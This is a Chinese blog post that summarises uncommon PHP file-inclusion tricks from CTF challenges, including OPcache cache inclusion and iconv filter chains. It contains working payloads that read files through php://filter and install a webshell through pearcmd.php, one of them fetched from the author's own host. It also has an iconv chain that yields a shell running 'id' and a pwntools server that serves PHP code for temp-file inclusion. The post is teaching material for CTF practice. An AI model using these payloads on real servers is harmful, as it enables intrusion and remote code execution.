CTF中文件包含的几种不常规利用姿势总结

2022-10-31 11:29:14 浏览数 (1)

  • 前言

  • 伪协议读文件
  • 打opcache缓存
  • 包含pearcmd装马
    • 靶机可以出网
    • 靶机不能出网
  • 绕过包含次数限制
  • include2shell
  • compress.zlib生成临时文件
  • 包含nginx临时文件

Author: 颖奇L’Amore

Blog: www.gem-love.com


前言▸

目前CTF里主流出的PHP文件包含,主要是以下几种:

  1. 通过LFI读文件(包括直接读非PHP文件和使用php伪协议)
  2. 上传图片等附件,内容中插入php代码,包含导致代码执行
  3. 包含上传的临时文件
  4. 包含session文件、利用SESSION_UPLOAD_PROGRESS
  5. 结合伪协议,例如zip://包含压缩包内文件,触发phar://反序列化
  6. RFI

本文主要总结几种不常见的文件包含考点,当然都是已经出过题的,不是什么0day级别的姿势,只是没有那么普遍,对于初学者来讲可能比较新颖。

然后我这里只介绍大致的思路,因笔者的水平也有限,具体的原理会给出相应的参考文章(本文的三个姿势都是从zeddy的文章中学习的)大家自行去阅读学习。

伪协议读文件▸

普遍用伪协议读文件都是转成base64的Steam:

代码语言:javascript复制
php://filter/convert.base64-encode/resource=

当然也有string.rot13之类的,但是如果string base关键字不能用的情况下,还可以用iconv转编码,例如:

代码语言:javascript复制
php://filter/convert.iconv.ASCII.UCS-2BE/resource=index.php
php://filter/convert.iconv.utf-8.utf-7/resource=index.php

至于php的iconv都能用哪些编码,可以从PHP官网查看,挑两个编码用一下就行了。

除此之外,还可以利用include函数解urlencode的特性来编码绕过:

代码语言:javascript复制
?page=php://filter/convert.%62%61%73%65%36%34%2d%65%6e%63%6f%64%65/resource=index.php

打opcache缓存▸

一般题目的形式是给到phpinfo,给文件包含或者任意文件读取,flag在flag.php

例题:湖湘杯2020 web1(当时因为安恒平台把flag直接放环境变量了导致phpinfo直接读flag变成了弱智题,实际的考点是打flag.php的opcache缓存)

代码语言:javascript复制
<span class="hljs-meta">&lt;?php</span>
error_reporting(<span class="hljs-number">0</span>);

<span class="hljs-comment">//I heard you are good at PHPINFO LFI, flag is in flag.php, find it my dear noob vegetable hacker.</span>
<span class="hljs-keyword">if</span> ( <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>]) ) {
    <span class="hljs-variable">$file</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>];
    
    <span class="hljs-keyword">if</span> ( <span class="hljs-variable">$file</span> === <span class="hljs-string">"phpinfo"</span> ) {
        phpinfo(); <span class="hljs-comment">// 有phpinfo</span>
        <span class="hljs-keyword">exit</span>;
    }

    <span class="hljs-keyword">if</span> ( preg_match(<span class="hljs-string">'/proc/i'</span> , <span class="hljs-variable">$file</span>) ) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"private"</span>);
    }

    <span class="hljs-variable">$file</span> = <span class="hljs-string">"/var/www/html/"</span> . <span class="hljs-variable">$file</span>;
    <span class="hljs-variable">$content</span> = file_get_contents(<span class="hljs-variable">$file</span>);

    <span class="hljs-keyword">if</span> ( !<span class="hljs-variable">$content</span> ) {
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"nothing"</span>);
    }

    <span class="hljs-keyword">if</span> ( preg_match(<span class="hljs-string">"/script|&lt;?/i"</span>, <span class="hljs-variable">$content</span>) ) { <span class="hljs-comment">// 不能包含php标签,但是opcache缓存的bin文件不包含php标签,所以可以包含之</span>
        <span class="hljs-keyword">die</span>(<span class="hljs-string">"bypass me"</span>);
    }

    <span class="hljs-keyword">include_once</span> <span class="hljs-variable">$file</span>; <span class="hljs-comment">// 有文件包含 可以读文件用</span>

} <span class="hljs-keyword">else</span> {
    highlight_file(<span class="hljs-keyword">__FILE__</span>);
}

OPcache通过将PHP脚本预编译的字节码存储到共享内存中来提升PHP的性能, 存储预编译字节码的好处就是省去了每次加载和解析PHP脚本的开销

他本来是个提升性能的扩展,然而他的配置有一个比较有趣的东西就是 opcache.file_cache

上图这个配置意味着,在/var/www/cache/下存在着 PHP 的缓存文件,那么自然也会有 flag.php 的缓存,会在缓存文件夹内以/var/www/html/flag.php.bin存在,而完整的绝对路径是/var/www/cache/[一个 md5]/ var/www/html/flag.php.bin

然而这个文件名,也就是这个MD5是多少是不知道的。查阅资料可知,这个md5被称为 system id,它的计算算法是固定的,由php版本号、zend extension id、Zend Bin ID,这三样拼接起来md5即可,而这3种东西正好全都在phpinfo里可以拿到,可以使用该脚本一键计算:

代码语言:javascript复制
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">from</span> md5 <span class="hljs-keyword">import</span> md5
<span class="hljs-keyword">from</span> packaging <span class="hljs-keyword">import</span> version <span class="hljs-comment"># python2 -m pip install -I packaging==17.0</span>


url = <span class="hljs-string">'http://y1ng.vip:4332/'</span>
phpinfo_url = url   <span class="hljs-string">'/?phpinfo'</span>

text = requests.get(phpinfo_url).text
php_version = re.search(<span class="hljs-string">'&lt;tr&gt;&lt;td class="e"&gt;PHP Version &lt;/td&gt;&lt;td class="v"&gt;(.*) &lt;/td&gt;&lt;/tr&gt;'</span>, text)
<span class="hljs-keyword">if</span> php_version == <span class="hljs-literal">None</span>:
    php_version = re.search(<span class="hljs-string">'&lt;h1 class="p"&gt;PHP Version (.*)'</span>, text)
<span class="hljs-keyword">if</span> php_version == <span class="hljs-literal">None</span>:
    <span class="hljs-built_in">print</span> <span class="hljs-string">"No PHP version found, is this a phpinfo file?"</span>
    exit(<span class="hljs-number">0</span>)
php_version = php_version.group(<span class="hljs-number">1</span>)
php_greater_74 = (version.parse(<span class="hljs-string">"7.4.0"</span>) &lt; version.parse(php_version.split(<span class="hljs-string">"-"</span>)[<span class="hljs-number">0</span>]))
zend_extension_id = re.search(<span class="hljs-string">'&lt;tr&gt;&lt;td class="e"&gt;Zend Extension Build &lt;/td&gt;&lt;td class="v"&gt;(.*) &lt;/td&gt;&lt;/tr&gt;'</span>, text)
<span class="hljs-keyword">if</span> zend_extension_id == <span class="hljs-literal">None</span>:
    <span class="hljs-built_in">print</span> <span class="hljs-string">"No Zend Extension Build found."</span>
    exit(<span class="hljs-number">0</span>)
zend_extension_id = zend_extension_id.group(<span class="hljs-number">1</span>)
architecture = re.search(<span class="hljs-string">'&lt;tr&gt;&lt;td class="e"&gt;System &lt;/td&gt;&lt;td class="v"&gt;(.*) &lt;/td&gt;&lt;/tr&gt;'</span>, text)
<span class="hljs-keyword">if</span> architecture == <span class="hljs-literal">None</span>:
    <span class="hljs-built_in">print</span> <span class="hljs-string">"No System info found."</span>
    exit(<span class="hljs-number">0</span>)
architecture = architecture.group(<span class="hljs-number">1</span>).split()[-<span class="hljs-number">1</span>]
<span class="hljs-keyword">if</span> architecture == <span class="hljs-string">"x86_64"</span>:
    bin_id_suffix = <span class="hljs-string">"48888"</span>
<span class="hljs-keyword">else</span>:
    bin_id_suffix = <span class="hljs-string">"44444"</span>
<span class="hljs-keyword">if</span> php_greater_74:
    zend_bin_id = <span class="hljs-string">"BIN_"</span>   bin_id_suffix
<span class="hljs-keyword">else</span>:
    zend_bin_id = <span class="hljs-string">"BIN_SIZEOF_CHAR"</span>   bin_id_suffix
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> php_greater_74:
    <span class="hljs-keyword">if</span> architecture == <span class="hljs-string">"x86_64"</span>:
        alt_bin_id_suffix = <span class="hljs-string">"148888"</span>
    <span class="hljs-keyword">else</span>:
        alt_bin_id_suffix = <span class="hljs-string">"144444"</span>

    alt_zend_bin_id = <span class="hljs-string">"BIN_"</span>   alt_bin_id_suffix
<span class="hljs-built_in">print</span> <span class="hljs-string">"PHP version : "</span>   php_version
<span class="hljs-built_in">print</span> <span class="hljs-string">"Zend Extension ID : "</span>   zend_extension_id
<span class="hljs-built_in">print</span> <span class="hljs-string">"Zend Bin ID : "</span>   zend_bin_id
<span class="hljs-built_in">print</span> <span class="hljs-string">"Assuming "</span>   architecture   <span class="hljs-string">" architecture"</span>
digest = md5(php_version   zend_extension_id   zend_bin_id).hexdigest()
<span class="hljs-built_in">print</span> <span class="hljs-string">"------------"</span>
<span class="hljs-built_in">print</span> <span class="hljs-string">"System ID : "</span>   digest
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> php_greater_74:
    alt_digest = md5(php_version   zend_extension_id   alt_zend_bin_id).hexdigest()
    <span class="hljs-built_in">print</span> <span class="hljs-string">"PHP lower than 7.4 detected, an alternate Bin ID is possible:"</span>
    <span class="hljs-built_in">print</span> <span class="hljs-string">"Alternate Zend Bin ID : "</span>   alt_zend_bin_id
    <span class="hljs-built_in">print</span> <span class="hljs-string">"Alternate System ID : "</span>   alt_digest
<span class="hljs-built_in">print</span> <span class="hljs-string">"------------"</span>

包含pearcmd装马▸

关于详细的pearcmd包含可以参考这篇文章,这里我只讲怎么利用

在phpinfo中如果看到register_argc_argv开放,可以获取外部的参数,以 作为分隔符

pearcmd.php是pear命令调用的文件,是用来管理依赖的,类似python的pip。能包含它又能给参数的话,就可以用它来安装木马了:

靶机可以出网▸

在自己的云主机上准备一个shell

利用方式

代码语言:javascript复制
/?include=/usr/local/lib/php/pearcmd.php&amp; install http://y1ng.vip/y1ng.php
/?include=/usr/local/lib/php/pearcmd.php&amp; download http://y1ng.vip/y1ng.php

install会下载到/tmp目录下,用download会下载到当前目录(但是大部分情况当前目录都没有可写权限,所以推荐用install

靶机不能出网▸

写shell:

代码语言:javascript复制
/?include=/usr/local/lib/php/pearcmd.php&amp; config-create /&lt;?=eval($_POST[y1ng])?&gt; /tmp/y1ng.php

注意这里需要burp发包,不可用浏览器

不可直接用浏览器的原因是,浏览器会自动把php代码中的< >给url编码,实际写入的是,导致php执行失败

绕过包含次数限制▸

我们知道include_once require_once对于同一个文件只能包含一次,有没有办法多次包含呢?

WMCTF2020 make php great again 2.0这个题:

代码语言:javascript复制
<span class="hljs-meta">&lt;?php</span>
<span class="hljs-keyword">require_once</span>(<span class="hljs-string">'flag.php'</span>);
<span class="hljs-keyword">if</span>(<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'content'</span>])) {
    <span class="hljs-variable">$content</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'content'</span>];
    <span class="hljs-keyword">require_once</span>(<span class="hljs-variable">$content</span>);
} 

已经包含了flag.php一次了,那么就没办法继续包含它了。解题方法如下:

代码语言:javascript复制
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

路径中的/proc/self/root就表示/ 所以/proc/self/root/proc/self/root···就一直表示/路径。至于为什么可以这样,可以看php源码分析 require_once 绕过不能重复包含文件的限制的分析。

include2shell▸

具体原理及构造思路可以参考陆队的文章:hxp CTF 2021 - The End Of LFI?

代码语言:javascript复制
http://y1ng.vip/include.php?page=
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&amp;0=id

即可包含一个shell:

代码语言:javascript复制
<span class="hljs-meta">&lt;?=</span>`<span class="hljs-variable">$_GET</span>[<span class="hljs-number">0</span>]`;;<span class="hljs-meta">?&gt;</span>

compress.zlib生成临时文件▸

参考陆老师的文章:36c3 Web 学习记录

是临时文件包含的延伸利用姿势,可以使用compress.zlib://来生成临时文件,需要自己开一个http server返回大文件:

代码语言:javascript复制
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> threading
<span class="hljs-keyword">import</span> time


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send_chunk</span>(<span class="hljs-params">l, data</span>):</span>
    l.send(<span class="hljs-string">'''{}r</span>
<span class="hljs-string">{}r</span>
<span class="hljs-string">'''</span>.<span class="hljs-built_in">format</span>(<span class="hljs-built_in">hex</span>(<span class="hljs-built_in">len</span>(data))[<span class="hljs-number">2</span>:], data))

<span class="hljs-keyword">while</span>(<span class="hljs-literal">True</span>):
    l = listen(<span class="hljs-number">9999</span>)
    l.wait_for_connection()

    data1 = <span class="hljs-string">''</span>.ljust(<span class="hljs-number">1024</span> * <span class="hljs-number">8</span>, <span class="hljs-string">'X'</span>)
    data2 = <span class="hljs-string">'&lt;?php system("/readflag"); exit(); /*'</span>.ljust(<span class="hljs-number">1024</span> * <span class="hljs-number">8</span>, <span class="hljs-string">'b'</span>)
    data3 = <span class="hljs-string">'c*/'</span>.rjust(<span class="hljs-number">1024</span> * <span class="hljs-number">8</span>, <span class="hljs-string">'c'</span>)

    l.recvuntil(<span class="hljs-string">'rnrn'</span>)
    l.send(<span class="hljs-string">'''HTTP/1.1 200 OKr</span>
<span class="hljs-string">Content-Type: exploit/revxakepr</span>
<span class="hljs-string">Connection: closer</span>
<span class="hljs-string">Transfer-Encoding: chunkedr</span>
<span class="hljs-string">r</span>
<span class="hljs-string">'''</span>)

    send_chunk(l, data1)

    <span class="hljs-built_in">print</span>(<span class="hljs-string">'waiting...'</span>)
    <span class="hljs-built_in">print</span>(<span class="hljs-string">'sending php code...'</span>)

    send_chunk(l, data2)

    sleep(<span class="hljs-number">3</span>)

    send_chunk(l, data3)

    l.send(<span class="hljs-string">'''0r</span>
<span class="hljs-string">r</span>
<span class="hljs-string">r</span>
<span class="hljs-string">'''</span>)
    l.close()

然后包含即可生成,这里直接贴路队的文章截图:

除了http以外,还可以使用ftp协议,并且控制ftp的速度,可以让临时文件更久的保留。

包含nginx临时文件▸

依然是临时文件包含的延伸利用姿势。大概利用到如下几条原理:

  1. 当nginx接收fastcgi响应过大则会将一部分内容以临时文件的形式存在硬盘上
  2. 临时文件会被很快清除,但是/proc/xxx/fd/x依然可以取到这个临时文件的内容,pid和fd需要遍历
  3. 利用上面wmctf例题绕过包含次数限制的方法去包含/proc/xxx/fd/x即可

详细的思路请看陆老师的文章:hxp CTF 2021 - A New Novel LFI

0 人点赞